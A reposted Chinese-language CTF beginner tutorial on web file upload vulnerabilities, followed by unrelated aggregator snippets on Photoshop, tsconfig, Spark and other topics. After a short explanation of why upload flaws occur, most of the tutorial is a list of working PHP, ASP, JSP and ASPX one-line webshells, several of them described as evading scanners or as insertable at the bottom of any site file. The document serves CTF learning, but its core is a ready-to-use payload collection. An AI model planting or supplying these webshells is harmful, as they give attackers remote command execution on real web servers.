CTF web入門之文件上傳

知識點

產生文件上傳漏洞的原因
原因:
對于上傳文件的后綴名(擴展名)沒有做較為嚴格的限制
對于上傳文件的MIMETYPE(用于描述文件的類型的一種表述方法) 沒有做檢查
權限上沒有對于上傳的文件目錄設置不可執行權限,(尤其是對于shebang類型的文件)
對于web server對于上傳文件或者指定目錄的行為沒有做限制

原理:
在 WEB 中進行文件上傳的原理是通過將表單設為 multipart/form-data,同時加入文件域,而后通過 HTTP 協議將文件內容發送到服務器,服務器端讀取這個分段 (multipart) 的數據信息,并將其中的文件內容提取出來并保存的。通常,在進行文件保存的時候,服務器端會讀取文件的原始文件名,并從這個原始文件名中得出文件的擴展名,而后隨機為文件起一個文件名 ( 為了防止重復 ),并且加上原始文件的擴展名來保存到服務器上

文件上傳后導致的常見安全問題一般有:

上傳文件是Web腳本語言,服務器的Web容器解釋并執行了用戶上傳的腳本,導致代
碼執行;
上傳文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為(其
他通過類似方式控制策略文件的情況類似);
上傳文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執行:
上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執
行,被用于釣魚和欺詐。

除此之外,還有一些不常見的利用方法,比如將上傳文件作為一個入口,溢出服務器的后臺處理程序,如圖片解析模塊;或者上傳-一個合法的文本文件, 其內容包含了PHP腳本,再通過“本地文件包含漏洞(Local File Include)"執行此腳本;等等。此類問題不在此細述。

常用的一句話木馬
##PHP:
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?><?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?><?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?><?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?><?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?><?php usort($_GET,'asse'.'rt');?> php環境>=<5.6才能用
<?php usort(...$_GET);?>  php環境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容錯代碼 
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> <script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話<?php (])?>   上面這句是防殺防掃的!網上很少人用!可以插在網頁任何ASP文件的最底部不會出錯,比如 index.asp里面也是可以的!<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判斷的PHP一句話,與上面的ASP一句話相同道理,也是可以插在任何PHP文件 的最底部不會出錯!<%execute request(class)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (class)%><%execute request(class)'<% loop <%:%> 
無防下載表,有防下載表可嘗試插入以下語句突破的一句話 <%eval(request(1)):response.end%> 備份專用
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客戶端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%><%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> <%execute(request(“1″))%> <scriptrunat=server>execute request(1)</script> 不用'<,>‘的asp一句話 
##aspx
<scriptrunat=”server”>

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/79043.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/79043.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/79043.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

PhotoShop學習09

1.彎曲鋼筆工具 PhotoShop提供了彎曲鋼筆工具可以直觀地創建路徑&#xff0c;只需要對分段推拉就能夠進行修改。彎曲港幣工具位于工具面板中的鋼筆工具里&#xff0c;它的快捷鍵為P。 在使用前&#xff0c;可以把填充和描邊選為空顏色&#xff0c;并打開路徑選項&#xff0c;勾…

tsconfig.json配置不生效

說明一下我遇到的問題&#xff0c;這是我的配置文件代碼的 {"compilerOptions": {"module": "none","target": "ES5","outFile": "./dist/bundle.js"} } 和我想象不同的是&#xff0c;我編譯成 js 沒…

源代碼加密之零日攻擊

# SDC沙盒&#xff1a;有效防御零日攻擊的多層防護體系 在當今復雜多變的網絡安全環境中&#xff0c;零日攻擊已成為企業面臨的重大威脅之一。零日攻擊利用尚未被公眾發現或尚未被軟件供應商修復的漏洞進行攻擊&#xff0c;具有極高的隱蔽性和破壞性。SDC沙盒作為一種先進的數…

記錄一次TDSQL網關夯住故障

環境信息&#xff1a; TDSQL-MySQL同城雙中心集群&#xff0c;集中式實例&#xff0c;一主三副本&#xff0c;每個中心兩個db副本&#xff0c;每個中心一個VIP&#xff0c;V每個IP通過硬件做負載均衡指向該中心兩個proxy&#xff0c;操作系統為麒麟v10 arm。 故障描述&#xf…

代碼隨想錄八股訓練營完結總結

&#xff01; 40天的訓練營&#xff0c;我總結了自己完整的八股文&#xff0c;后續在面試過程中可以補充 很感謝這次訓練營&#xff0c;真的高頻&#xff0c;在面試中能擊中60%以上&#xff0c;剩下的就靠平時的積累了。 感謝訓練營的小伙伴&#xff0c;很多次想偷懶&#x…

VS Code 的 .S 匯編文件里面的注釋不顯示綠色

1. 確認文件語言模式 打開 .S 文件后&#xff0c;查看 VS Code 右下角的狀態欄&#xff0c;確認當前文件的識別模式&#xff08;如 Assembly、Plain Text 等&#xff09;。如果顯示為 Plain Text 或其他非匯編模式&#xff1a; 點擊狀態欄中的語言模式&#xff08;如 Plain Te…

iphone各個機型尺寸

以下是蘋果&#xff08;Apple&#xff09;歷代 iPhone 機型 的屏幕尺寸、分辨率及其他關鍵參數匯總&#xff08;截至 2023年10月&#xff0c;數據基于官方發布信息&#xff09;&#xff1a; 一、標準屏 iPhone&#xff08;非Pro系列&#xff09; 機型屏幕尺寸&#xff08;英寸…

VSCode寫java時常用的快捷鍵

首先得先安好java插件 1、獲取返回值 這里是和idea一樣的快捷鍵的&#xff0c;都是xxxx.var 比如現在我new一個對象 就輸入 new MbDo().var // 點擊回車即可變成下面的// MbDo mbDo new MbDo()//以此類推get方法也可獲取 mbDo.getMc().var // 點擊回車即可變成下面的 // St…

相機內外參

文章目錄 相機內參相機外參 相機的內外參是相機標定過程中確定的重要參數&#xff0c;用于建立圖像像素坐標與實際世界坐標之間的關系。 相機內參 定義&#xff1a;相機內參是描述相機內部光學和幾何特性的參數&#xff0c;主要包括焦距、主點坐標、像素尺度因子以及畸變系數等…

【視頻目標分割論文集】Efficient Track Anything0000

github 摘要 視頻對象分割和追蹤任意目標領域出現了強大的工具——分割任意模型 2&#xff08;SAM 2&#xff09;。SAM 2 實現令人印象深刻的視頻對象分割性能的關鍵組成部分包括用于幀特征提取的大型多階段圖像編碼器&#xff0c;以及存儲過去幀記憶上下文以輔助當前幀分割的…

CSS學習02 動態列數表格開發,解決多組數據布局與邊框重合問題

概要 在前端開發中&#xff0c;表格常用于展示結構化數據。當數據組的字段數量不統一時&#xff08;如有的行包含 3 組數據&#xff0c;有的行包含 2 組或 1 組&#xff09;&#xff0c;傳統固定列數的表格會出現結構錯位、邊框重合等問題。本文通過 HTML/CSS 規范方法&#x…

Spark-core編程總結

1.reduce? 功能?&#xff1a;聚集RDD中的所有元素&#xff0c;先聚合分區內數據&#xff0c;再聚合分區間數據。 示例?&#xff1a;rdd.reduce(__) 將RDD中的所有整數相加。 2.collect? 功能?&#xff1a;在驅動程序中&#xff0c;以數組Array的形式返回數據集的所有元…

處理Long類型長度超長導致前端精度丟失問題

1&#xff0c;問題場景 后端返回的Long類型的數據&#xff0c;超10000000000000000&#xff0c;前端處理的時候&#xff0c;數據被截斷了。比如tchId: 11073477511443988481&#xff0c; 前端根據tchId獲取下一環節信息的時候&#xff0c;傳的tchId變成了11073477511443988400&…

ONVIF/RTSP/RTMP協議EasyCVR視頻匯聚平臺RTMP協議配置全攻略 | 直播推流實戰教程

在現代化的視頻管理和應急指揮系統中&#xff0c;RTMP協議作為一種高效的視頻流傳輸方式&#xff0c;正變得越來越重要。無論是安防監控、應急指揮&#xff0c;還是物聯網視頻融合&#xff0c;掌握RTMP協議的接入和配置方法&#xff0c;都是提升系統性能和效率的關鍵一步。 今天…

安徽京準:GPS北斗衛星時空信號安全防護裝置(授時)介紹

安徽京準&#xff1a;GPS北斗衛星時空信號安全防護裝置&#xff08;授時&#xff09;介紹 1、主要特點 ★信號加固功能&#xff1a; GPS/BDS單系統信號拒止情況下&#xff08;包含受到GPS L1欺騙干擾、GPS L1壓制干擾、BDS B1欺騙干擾、BDS B1壓制干擾&#xff09;&#xff…

探索原生JS的力量:自定義實現類似于React的useState功能

1.寫在前面 本方案特別適合希望在歷史遺留的原生JavaScript項目中實現簡單輕量級數據驅動機制的開發者。無需引入任何框架或第三方庫&#xff0c;即可按照此方法封裝出類似于React中useState的功能&#xff0c;輕松為項目添加狀態管理能力&#xff0c;既保持了項目的輕量性&am…

02.使用cline(VSCode插件)、continue(IDEA插件)、cherry-studio玩轉MCP

文章目錄 安裝環境uv&#xff08;python&#xff09;為什么不用pip&#xff1f;安裝 nvm&#xff08;nodejs&#xff09; cline插件window配置如下linux配置如下測試MCP&#xff1a;time現在幾點了&#xff1f;倫敦現在幾點了&#xff1f;當紐約是下午四點&#xff0c;那倫敦是…

CSS padding(填充)學習筆記

CSS 中的 padding&#xff08;填充&#xff09;是一個非常重要的屬性&#xff0c;它用于定義元素邊框與元素內容之間的空間&#xff0c;即上下左右的內邊距。合理使用 padding 可以讓頁面布局更加美觀、清晰。以下是對 CSS padding 的詳細學習筆記。 一、padding 的作用 padd…

Spring 單元測試核心注解全解:@InjectMocks、@MockBean、@Mock、@Autowired 的區別與實戰

在編寫 Spring Boot 應用的單元測試過程中,@InjectMocks、@MockBean、@Mock 和 @Autowired 是最常用的幾個注解,但它們經常被混淆或誤用,導致測試失敗或注入錯誤。 本文將從本質區別、使用場景、示例代碼、對比表格等多個維度,全面解析這幾者的使用方法與差異,助你寫出結…

Themeleaf復用功能

Themeleaf復用功能 Thymeleaf 的復用功能能夠有效減少代碼冗余&#xff0c;提升開發效率&#xff0c;讓代碼更易于維護。以下為你詳細介紹幾種常見的復用功能&#xff1a; 1. 片段復用&#xff08;Fragments&#xff09; 定義片段 借助 th:fragment 指令&#xff0c;可將頁…